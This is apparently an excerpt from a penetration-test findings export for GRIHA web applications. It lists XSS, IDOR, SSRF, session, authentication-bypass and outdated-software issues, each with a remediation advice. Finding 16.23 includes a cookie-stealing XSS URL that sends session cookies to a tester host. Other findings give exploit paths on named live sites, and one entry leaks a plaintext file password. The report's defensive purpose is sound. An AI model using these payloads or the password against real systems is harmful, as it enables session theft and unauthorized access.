Detailed Observation: It has been observed that the application is using a vulnerable version of MySQL 8.0.40-0ubuntu0.20.04.1
Recommendation: It is recommended to update to the latest stable version of MySQL.

16.15. Browser Cache Weakness

ID	181	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that after logging out from the website,pressing the back button allows the user to navigate back to the page from which they logged out.
Recommendation: It is recommended to implement appropriate cache-control headers to prevent sensitive pages from being cached by the browser. Use Cache-Control: no-store or similar directives to ensure that pages with sensitive information are not store in the cache.

16.16. Reflected XSS

ID	180	Project	GRIHA VAPT
Type	Bug	Status	In testing
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the application does not properly sanitize or encode user input in HTTP requests,allowing attackers to inject malicious scripts into the response. This can lead to the execution of arbitrary JavaScript in users' browsers. Path:
https://glcvapt.grihaindia.org/mod/lti/auth.php?redirect_uri=javascrip t:alert(%27XSS%20Alert%27)
Recommendation: It is recommended to validate and sanitize user input,implement context-aware output encoding,enforce Content Security Policy (CSP),and use security headers like X-XSS-Protection and HttpOnly cookies.

16.17. Open Redirect

ID	179	Project	GRIHA VAPT
Type	Bug	Status	In testing
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the application allows user input to dictate the URL for redirection without proper validation.
Recommendation: It is recommended to validate and sanitize all user-supplied URLs,implementing a whitelist of trusted domains for redirects. Avoid using user input directly in redirects and ensure that redirects only occur to safe,predefined locations within the application.

16.18. Improper Session Management

ID	178	Project	GRIHA VAPT
Type	Bug	Status	In testing
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that when a user is logged into two devices simultaneously,changing the password in one device does not terminate the session in the second device.
Recommendation: It is recommended to invalidate all active sessions upon password change by implementing session revocation mechanisms. Ensure that sessions are destroyed or re-authenticated after critical actions like password changes to prevent unauthorized access.

16.19. Vulnerable PHP version

ID	177	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application is running PHP version 7.4.3-4ubuntu2.28
Recommendation: It is recommended to update to the latest stable version of PHP.

16.20. Vulnerable Apache Version

ID	176	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application is running on Apache version 2.4.41
Recommendation: It is recommended to update to the latest stable version of Apache.

16.21. Vulnerable Moodle version

ID	175	Project	GRIHA VAPT
Type	Bug	Status	On hold
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that web application uses vulnerable Moodle version i.e. 3.8.6
Recommendation: It is recommended to Update to the latest stable version of Moodle.

16.22. Insecure Direct Object Reference (IDOR)

ID	174	**Project**	GRIHA VAPT
Type	Bug	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It is observed that by manipulating the ID parameter in URL,user profile of another user can be accessed. Path: https://glcvapt.grihaindia.org/pluginfile.php/98/user/icon/classic/f2?rev=22206 https://glcvapt.grihaindia.org/user/profile.php?id=53 https://glcvapt.grihaindia.org/mod/forum/user.php?id=2 https://glcvapt.grihaindia.org/user/preferences.php?userid=1383
Recommendation: It is recommended to implement a secure server-side validation for user permission.

16.23. Session Hijacking via Cross-Site Scripting (XSS)

ID	173	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application is vulnerable to session hijacking via XSS,as session cookies can be accessed and stolen by attackers through client-side scripts. Path: https://glcvapt.grihaindia.org/mod/lti/auth.php?redirect_uri=javascript%3Adocument.location%3D%27http%3A%2F%2F192.168.3.107%3A 8098%2F%3Fcookie%3D%27%2Bdocument.cookie
Recommendation: It is recommended to implement strong input validation and output encoding,enable HttpOnly and Secure flags for cookies,use Content Security Policy (CSP) to block inline scripts,and enforce SameSite cookie attributes to prevent unauthorized session access.

16.24. Stored XSS

ID	172	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It is observed that application is vulnerable to Stored XSS attack via PDF Upload.
Recommendation: It is recommended to sanitize PDF uploads,validate file types,disable JavaScript within PDFs,implement a strong Content Security Policy (CSP),encode output,scan for malicious content,restrict upload permissions,and educate users on trusted file sources.

16.25. Blind Server-Side Request Forgery (SSRF)

ID	171	**Project**	GRIHA VAPT
Type	Bug	**Status**	In testing
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application is interacting with the external server and with that,it is possible to perform internal port scanning.
Recommendation: It is recommended to validate and sanitize user input,implement an allowlist for external requests,block access to internal IP ranges,enforce least privilege access

17. GRIHA Tools

ID	144	**Project**	GRIHA VAPT
Type	Epic	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

All the vulnerabilities reported by RiskBerg Team in GRIHA Tools.
File Password:saY2:98#UfMB&R$|

17.1. Missing Security Headers

ID	164	**Project**	GRIHA VAPT
Type	Bug	**Status**	In progress
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application lacks important security headers.
Recommendation: It is recommended to implement security headers such as HSTS,XContent- Type-Options,X-Frame-Options,CSP,X-XSS-Protection,Referrer- Policy,Permissions-Policy.

17.2. Improper SameSite Cookie Set

ID	163	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that SameSite cookie settings are not properly configured.
Recommendation: It is recommended to set the SameSite attribute for cookies to “Strict” to prevent cross-site request forgery (CSRF) attacks and enhance security by controlling cookie sharing across different sites.

17.3. Secure Flag not Set

ID	162	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the “Secure” Flag is not implemented in Session Cookie.
Recommendation: It is recommended to set the ‘Secure’ flag to true for the session cookie.

17.4. Information Disclosure

ID	161	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application is exposing the Project name,Client name and the Amount of the user's account in response by Manipulating the "projid" parameter.
Recommendation: It is recommended to hide the sensitive user information,such as the project name,client name,and amount from the Response to ensure privacy and security.

17.5. Insecure Direct Object Reference (IDOR)

ID	160	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that a normal user can only view the Information through a URL that should only be accessible by the Admin.
Recommendation: It is recommended to implement proper access controls,validate user inputs,and enforce authorization checks for every request to prevent unauthorized access and mitigate potential Insecure Direct Object Reference (IDOR) vulnerabilities.

17.6. Server Version Disclosure

ID	159	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the application is exposing the server version in the Response.
Recommendation: It is recommended to configure the server to hide version information and sensitive details in response headers to prevent information disclosure.

17.7. Improper Error Handling

ID	158	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that improper error handling exposes internal file paths,potentially providing attackers with sensitive system information.
Recommendation: It is recommended to configure error messages to avoid displaying internal file paths and instead show generic error responses to prevent exposing sensitive system information that could be exploited by attackers.

17.8. Clickjacking

ID	157	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the web application is vulnerable to clickjacking,allowing attackers to trick users into performing unintended actions by embedding the application in an iframe.
Recommendation: It is recommended to implement the X-Frame-Options response header with a value of “DENY” or “SAMEORIGIN” to prevent the web application from being embedded in iframe and mitigate clickjacking attacks.

17.9. Session Token in URL

ID	156	**Project**	GRIHA VAPT
Type	Bug	**Status**	Tested
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that session tokens are exposed in URLs,increasing the risk of interception by attackers,potentially compromising user sessions and security.
Recommendation: It is recommended to avoid exposing session tokens in URLs,as they can be intercepted. Use secure,HTTP-only cookies or authorization headers to securely transmit session tokens instead.

17.10. Vulnerable jQuery min.js Version

ID	155	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the version of “jQuery min.js” i.e. 1.3.2 which is being used is outdated and vulnerable.
Recommendation: It is recommended to upgrade to the latest stable version of jQuery min.js.

17.11. Vulnerable jQuery-UI Version

ID	154	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the version of “ jQuery-UI “ i.e. 1.12.1 which is being used is outdated and vulnerable.
Recommendation: It is recommended to upgrade to the latest stable version of jQuery.

17.12. Vulnerable jQuery Version

ID	153	**Project**	GRIHA VAPT
Type	Bug	**Status**	On hold
Start date		**Finish date**	
Duration			

Description

Detailed Observation: It has been observed that the following versions of “jQuery” being used are outdated and vulnerable. jQuery v1.8.2 and v1.7.1 Path: https://grihavapttools.grihaindia.org/Scripts/jquery-1.8.2.js
Recommendation: It is recommended to upgrade to the latest stable version of jQuery.

17.13. Vulnerable ASP.NET Version

ID	152	Project	GRIHA VAPT
Type	Bug	Status	Tested
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the version of “ASP.NET” i.e. 4.0.30319 which is being used is outdated and vulnerable.
Recommendation: It is recommended to upgrade to the latest stable version of ASP.NET.

17.14. Session Fixation

ID	151	Project	GRIHA VAPT
Type	Bug	Status	Tested
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the session does not terminate even after changing the password,indicating a possible issue with session management or security protocols not being properly enforced.
Recommendation: It is recommended to implement session termination upon password changes to prevent unauthorized access and enhance overall system security.

17.15. CAPTCHA Bypass

ID	150	Project	GRIHA VAPT
Type	Bug	Status	Tested
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the Captcha is not implemented properly. It is possible to bypass the Captcha by using Response Manipulation technique.
Recommendation: It is recommended to implement strong CAPTCHA mechanisms and validate response on the server-side to prevent bypass through response manipulation,ensuring enhanced security and protecting against automated attacks.

17.16. Session Misconfiguration

ID	149	Project	GRIHA VAPT
Type	Bug	Status	Tested
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application is not validating the session ID on the server side,due to this an attacker can login without login credentials.
Recommendation: It is recommended to securely configure session management,enforce strong session expiration policies,use secure cookies,implement proper session ID validation,and regularly review session handling practices to mitigate misconfiguration risks.

17.17. Authentication Bypass

ID	148	Project	GRIHA VAPT
Type	Bug	Status	Tested
Start date		Finish date	
Duration			

Description

Detailed Observation: It has been observed that the web application is failed to validate the authentication and by forced browsing user is able to login without credentials to any privileged account and can access all the functionalities.
Recommnedation: It is recommended to implement the proper session mechanism with (Multi Factor Authentication) MFA/2FA to enforce strong password policies and regularly review access control mechanisms to mitigate the risk of authentication bypass vulnerabilities and enhance system security.